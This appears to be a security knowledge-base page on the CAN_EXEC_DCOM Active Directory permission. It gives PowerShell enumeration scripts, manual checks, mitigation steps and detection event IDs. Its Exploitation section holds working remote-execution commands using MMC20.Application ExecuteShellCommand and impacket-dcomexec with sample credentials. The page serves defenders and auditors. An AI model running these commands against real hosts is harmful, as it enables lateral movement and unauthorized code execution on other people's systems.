CAN_EXEC_DCOM
Summary
FSProtect ACL Alias
CAN_EXEC_DCOM
Affected Object Types
Users, Groups
Exploitation Certainty
Certain
Description
The CAN_EXEC_DCOM
permission in Active Directory grants an account the ability to remotely execute commands and manage processes via Distributed Component Object Model (DCOM) on domain-joined systems. This permission is essential for administrators who utilize distributed applications and COM-based services to perform remote management, automate tasks, and troubleshoot issues. To assign this permission on a specific system, the user must be added to the local Distributed COM Users group, ensuring they can initiate and manage DCOM-based communications. By leveraging the CAN_EXEC_DCOM
permission, IT teams can centrally administer services, configure applications, and streamline remote workflows across a wide range of Windows-based machines.
However, if misconfigured, the CAN_EXEC_DCOM
permission can lead to serious security risks. An attacker who gains unauthorized access to DCOM execution privileges may exploit it to bypass local security controls, run arbitrary code, and manipulate system components without direct physical access. Such misuse could enable lateral movement within the network, privilege escalation, and persistence through malicious COM objects. Ultimately, an improperly secured CAN_EXEC_DCOM
permission can compromise the integrity of the entire Active Directory environment, allowing attackers to disrupt critical services and exfiltrate sensitive data.
Identification
PowerShell
Active Directory Module
Using the Active Directory PowerShell module, you can enumerate CAN_EXEC_DCOM
entries.
1. Find-CAN_EXEC_DCOM function
function Find-CAN_EXEC_DCOM {
[CmdletBinding()]
param(
[string[]]$Target = $null,
[string]$SearchBase = $null,
[string]$OutputPath = "CAN_EXEC_DCOM.csv",
[int]$TimeoutSec = 6
)
Import-Module ActiveDirectory -ErrorAction Stop
$computers = @()
if ($Target) {
Write-Host "Using provided target(s): $($Target -join ', ')"
foreach ($t in $Target) {
# If it's an IP or FQDN, use as-is; otherwise try to resolve via AD
if ($t -match '^\d{1,3}(\.\d{1,3}){3}$' -or $t -like "*.*") {
$computers += $t
} else {
try {
$adComp = Get-ADComputer -Identity $t -Properties dNSHostName -ErrorAction Stop
if ($adComp.dNSHostName) { $computers += $adComp.dNSHostName } else { $computers += $adComp.Name }
} catch {
Write-Warning "Couldn't resolve '$t' from AD: $($_.Exception.Message). Using as provided."
$computers += $t
}
}
}
$computers = $computers | Sort-Object -Unique
} else {
Write-Host "Gathering computer objects from Active Directory..."
try {
$computers = if ($SearchBase) {
Write-Host "Filtering computers under '$SearchBase'"
Get-ADComputer -Filter * -SearchBase $SearchBase -ErrorAction Stop | Select-Object -ExpandProperty Name
} else {
Get-ADComputer -Filter * -ErrorAction Stop | Select-Object -ExpandProperty Name
}
} catch {
Write-Error "Failed to retrieve computer objects: $($_.Exception.Message)"
return
}
}
if (-not $computers) {
Write-Warning "No computers found; exiting."
return
}
$results = New-Object System.Collections.Generic.List[object]
Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
$opt = New-CimSessionOption -Protocol Dcom
foreach ($c in $computers) {
try {
$sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
try {
$grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
if (-not $grp) {
Write-Warning "Distributed COM Users group not found on '$c'."
continue
}
$members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
foreach ($m in $members) {
$memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
$memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
$results.Add([PSCustomObject]@{
ComputerName = $c
MemberName = $memberName
MemberType = $memberType
})
}
}
finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
} catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
}
if ($results.Count -gt 0) {
try {
$results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
Write-Host "Results exported to '$OutputPath'"
} catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
} else {
Write-Output "No 'Distributed COM Users' members found across scanned computers."
}
}
2. Scan all computers in the domain
Find-CAN_EXEC_DCOM
3. Use SearchBase to limit the scope
Find-CAN_EXEC_DCOM -SearchBase "CN=Computers,DC=forestall,DC=labs"
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate CAN_EXEC_DCOM
entries without relying on any external modules or dependencies.
1. Find-CAN_EXEC_DCOMSimple
function Find-CAN_EXEC_DCOMSimple {
[CmdletBinding()]
param([string]$Target = $null,[string]$OutputPath = "CAN_EXEC_DCOM.csv", [int]$TimeoutSec = 6)
$computers = @()
if ($Target) {
Write-Verbose "Binding directly to object: $Target"
try {
$entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
$computers = @($entry.Properties["dNSHostName"].Value)
if (-not $computers) {$computers = @($entry.Properties["cn"].Value) }
} catch { Write-Error "Failed to bind to '$Target': $_" ; return }
}
else {
Write-Verbose "Binding to RootDSE..."
try {
$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$baseDN = $root.Properties["defaultNamingContext"].Value
$ldapPath = "LDAP://$baseDN"
$searchRoot= New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
$searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
$searcher.Filter = "(objectCategory=computer)"
$searcher.PageSize = 1000
[void]$searcher.PropertiesToLoad.Add("dNSHostName")
[void]$searcher.PropertiesToLoad.Add("cn")
$hits = $searcher.FindAll()
$computers = foreach ($hit in $hits) {
$hn = $hit.Properties["dNSHostName"]
if ($hn) { $hn } else { $hit.Properties["cn"] }
}
}catch { Write-Error "LDAP enumeration failed: $_" ; return}
}
if (-not $computers) { Write-Warning "No computers found; exiting." ; return}
$results = New-Object System.Collections.Generic.List[object]
Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
$opt = New-CimSessionOption -Protocol Dcom
foreach ($c in $computers) {
try {
$sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
try {
$grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
if (-not $grp) {
Write-Warning "Distributed COM Users group not found on '$c'."
continue
}
$members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
foreach ($m in $members) {
$memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
$memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
$results.Add([PSCustomObject]@{
ComputerName = $c
MemberName = $memberName
MemberType = $memberType
})
}
}
finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
} catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
}
if ($results.Count -gt 0) {
try {
$results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
Write-Host "Results exported to '$OutputPath'"
} catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
} else {Write-Output "No 'Distributed COM Users' members found across scanned computers."}
}
2. Scan all domain computers
Find-CAN_EXEC_DCOMSimple
3. Scan a specific object
Find-CAN_EXEC_DCOMSimple -Target "CN=VM01,OU=workstations,DC=Forestall,DC=Labs"
Computer Management
Note: This edge cannot be identified directly with ADUC, but it can be verified via Computer Management.
1. Open Computer Management.
2. Select Action from the menu, then choose "Connect to another computer" if a different computer is required.
3. Select the desired machine to manage.
4. In the Computer Management window, navigate to Local Users and Groups.
5. Under Local Users and Groups, open Distributed COM Users with a double-click.
6. In the Members list, locate users and groups.
7. Click OK to close the dialogs.

Exploitation
To prevent false positives, validate the target host’s DCOM Component Services ACLs—specifically launch/activation and access permissions—before attempting exploitation.
Windows
Execute on target machine
$Com = [Type]::GetTypeFromProgID("MMC20.Application","<targetHost>");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("<filetorun>",$null,"<arguments>","7")
Example:
$Com = [Type]::GetTypeFromProgID("MMC20.Application","VM01.forestall.labs");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("calc.exe",$null,$null,"7")
Linux
Execute on target machine
impacket-dcomexec -object MMC20 -silentcommand <domain>/<user>:'<pass>'@<targethost> "<command>"
Example:
impacket-dcomexec -object MMC20 -silentcommand forestall.labs/adam:'Temp123!'@vm01.forestall.labs "powershell"

Mitigation
You can mitigate CAN_EXEC_DCOM
with the following steps:
1. Open Active Directory Users and Computers (ADUC).
2. Right-click the computer and select Manage.
3. In the Computer Management window, navigate to Local Users and Groups.
4. Under Local Users and Groups, double-click Distributed COM Users.
5. In the Members list, locate and remove the unwanted user or group.
6. Click OK to close the dialogs.

Detection
Adding new Access Control Entries on Active Directory objects changes the ntSecurityDescriptor
attribute of those objects. These changes can be detected with Event IDs 5136 and 4662 to identify potentially dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?